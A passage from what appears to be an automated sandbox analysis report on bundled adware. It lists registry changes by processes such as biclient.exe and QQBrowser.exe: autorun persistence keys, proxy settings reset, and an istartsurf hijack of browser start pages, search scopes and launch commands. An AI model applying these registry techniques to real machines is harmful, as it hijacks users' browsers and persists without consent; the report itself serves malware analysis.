"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "4A 42 36 89 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1431730972"
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:1868 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "4A CC 15 41 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "3D 8C D0 42 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6C B2 9D 16 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351514833"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "6C B2 9D 16 63 8F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_smb_indostreamix" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:564 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2540 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6C B2 9D 16 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "06 5E E6 32 63 8F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_smb_indostreamix" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process firsttime_setup.exe:3740 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\genieo]
"NoModify" = "1"
"URLInfoAbout" = "http://www.genieo.com/contact-us/"
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\partner_uninstall.exe"
"EstimatedSize" = "28672"
"NoRepair" = "1"
"HelpLink" = "http://www.genieo.com/faq"
"Publisher" = "Genieo Innovation Ltd."
"DisplayVersion" = "1.0.400"

[HKCU\Software\Genieo\Components\FirstTime]
"UninstallURL" = "http://www.genieo.com/uninstall"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\genieo]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\partner_uninstall.exe"
"DisplayName" = "Genieo"

The process QQBrowser.exe:3004 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\istartsurfSoftware\istartsurfhp]
"oem" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"Publisher" = "istartsurf"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.istartsurf.com/?type=sc&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.istartsurf.com/?type=sc&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "81 5C AE 3F 63 8F D0 01"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "55 15 A1 3D 63 8F D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\istartsurfSoftware\istartsurfhp]
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Mozilla\Extends]
"UID" = "267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe -ptid=smt"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayName" = "istartsurf uninstall"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process QQBrowser.exe:1592 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "74 08 D1 4B 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 59 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "CE 4A C7 4D 63 8F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process testlsp.exe:3460 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "32 BC 68 47 63 8F D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1431730972"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

"TimeLimit" = "1"

